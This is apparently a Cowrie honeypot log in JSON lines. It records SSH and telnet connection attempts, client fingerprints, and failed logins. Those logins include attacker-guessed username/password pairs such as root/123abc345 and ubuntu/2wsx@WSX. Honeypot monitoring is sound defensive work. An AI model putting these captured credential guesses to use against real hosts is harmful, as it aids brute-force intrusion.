{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:27:24.267971Z","src_ip":"185.236.22.41","session":"65665d92e1da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"frdfhbev","message":"login attempt [root/frdfhbev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:27:24.652678Z","src_ip":"185.236.22.41","session":"65665d92e1da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:27:25.771045Z","src_ip":"185.236.22.41","session":"65665d92e1da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38748,"dst_ip":"10.17.0.5","dst_port":23,"session":"747b9182bbca","protocol":"telnet","message":"New connection: 192.119.13.58:38748 (10.17.0.5:23) [session: 747b9182bbca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:27:26.720273Z"}
{"eventid":"cowrie.session.connect","src_ip":"200.175.61.207","src_port":43314,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9f2d0abc9f9","protocol":"ssh","message":"New connection: 200.175.61.207:43314 (10.17.0.5:22) [session: b9f2d0abc9f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:27:27.108531Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:27:27.114404Z","src_ip":"200.175.61.207","session":"b9f2d0abc9f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:27:27.261823Z","src_ip":"200.175.61.207","session":"b9f2d0abc9f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123abc345","message":"login attempt [root/123abc345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:27:27.881996Z","src_ip":"200.175.61.207","session":"b9f2d0abc9f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:27:29.032462Z","src_ip":"200.175.61.207","session":"b9f2d0abc9f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.22818684577942,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:27:29.445181Z","src_ip":"192.119.13.58","session":"26328806ab5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.97104024887085,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:27:39.908989Z","src_ip":"192.119.13.58","session":"d34d37f6a632","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35126,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee4dec9bf955","protocol":"telnet","message":"New connection: 192.119.13.58:35126 (10.17.0.5:23) [session: ee4dec9bf955]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:27:48.323643Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.92.182.129","src_port":38814,"dst_ip":"10.17.0.5","dst_port":22,"session":"e760a4e48a84","protocol":"ssh","message":"New connection: 185.92.182.129:38814 (10.17.0.5:22) [session: e760a4e48a84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:27:48.696095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:27:48.700991Z","src_ip":"185.92.182.129","session":"e760a4e48a84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:27:48.732845Z","src_ip":"185.92.182.129","session":"e760a4e48a84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.80445861816406,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:27:49.432213Z","src_ip":"192.119.13.58","session":"43f76179616f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"phoenix","password":"phoenix","message":"login attempt [phoenix/phoenix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:27:49.689665Z","src_ip":"185.92.182.129","session":"e760a4e48a84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"158.178.141.16","src_port":33296,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a8a17006ac0","protocol":"ssh","message":"New connection: 158.178.141.16:33296 (159.203.135.109:22) [session: 3a8a17006ac0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:27:50.333215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:27:50.338253Z","src_ip":"158.178.141.16","session":"3a8a17006ac0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:27:50.549763Z","src_ip":"158.178.141.16","session":"3a8a17006ac0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:27:50.724253Z","src_ip":"185.92.182.129","session":"e760a4e48a84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pick","password":"pick","message":"login attempt [pick/pick] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:27:51.428707Z","src_ip":"158.178.141.16","session":"3a8a17006ac0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:27:52.643939Z","src_ip":"158.178.141.16","session":"3a8a17006ac0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.90553689002991,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:28:10.625607Z","src_ip":"192.119.13.58","session":"747b9182bbca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45460,"dst_ip":"10.17.0.5","dst_port":23,"session":"948d09667d07","protocol":"telnet","message":"New connection: 192.119.13.58:45460 (10.17.0.5:23) [session: 948d09667d07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:28:12.443992Z"}
{"eventid":"cowrie.session.closed","duration":40.00046944618225,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:28:28.324024Z","src_ip":"192.119.13.58","session":"ee4dec9bf955","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"158.178.141.16","src_port":30414,"dst_ip":"159.203.135.109","dst_port":22,"session":"603479289eae","protocol":"ssh","message":"New connection: 158.178.141.16:30414 (159.203.135.109:22) [session: 603479289eae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:28:32.011385Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:28:32.016043Z","src_ip":"158.178.141.16","session":"603479289eae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:28:32.224225Z","src_ip":"158.178.141.16","session":"603479289eae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root12","message":"login attempt [root/root12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:28:33.089318Z","src_ip":"158.178.141.16","session":"603479289eae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:28:34.301552Z","src_ip":"158.178.141.16","session":"603479289eae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35798,"dst_ip":"10.17.0.5","dst_port":23,"session":"955c8d225397","protocol":"telnet","message":"New connection: 192.119.13.58:35798 (10.17.0.5:23) [session: 955c8d225397]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:28:54.099560Z"}
{"eventid":"cowrie.session.connect","src_ip":"200.175.61.207","src_port":38852,"dst_ip":"10.17.0.5","dst_port":22,"session":"64b418776b25","protocol":"ssh","message":"New connection: 200.175.61.207:38852 (10.17.0.5:22) [session: 64b418776b25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:28:54.386813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:28:54.391627Z","src_ip":"200.175.61.207","session":"64b418776b25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:28:54.540812Z","src_ip":"200.175.61.207","session":"64b418776b25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"programmer","message":"login attempt [root/programmer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:28:55.168781Z","src_ip":"200.175.61.207","session":"64b418776b25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:28:56.322228Z","src_ip":"200.175.61.207","session":"64b418776b25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.54142665863037,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:29:04.985306Z","src_ip":"192.119.13.58","session":"948d09667d07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55824,"dst_ip":"10.17.0.5","dst_port":23,"session":"4752ea052597","protocol":"telnet","message":"New connection: 192.119.13.58:55824 (10.17.0.5:23) [session: 4752ea052597]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:29:06.550759Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.92.182.129","src_port":46842,"dst_ip":"10.17.0.5","dst_port":22,"session":"384b7f4198bb","protocol":"ssh","message":"New connection: 185.92.182.129:46842 (10.17.0.5:22) [session: 384b7f4198bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:29:14.881478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:29:14.888735Z","src_ip":"185.92.182.129","session":"384b7f4198bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:29:15.462777Z","src_ip":"185.92.182.129","session":"384b7f4198bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"2wsx@WSX","message":"login attempt [ubuntu/2wsx@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:29:15.660811Z","src_ip":"185.92.182.129","session":"384b7f4198bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"158.178.141.16","src_port":55738,"dst_ip":"159.203.135.109","dst_port":22,"session":"5afd594af71d","protocol":"ssh","message":"New connection: 158.178.141.16:55738 (159.203.135.109:22) [session: 5afd594af71d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:29:16.664403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:29:16.670388Z","src_ip":"158.178.141.16","session":"5afd594af71d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:29:16.708839Z","src_ip":"185.92.182.129","session":"384b7f4198bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes1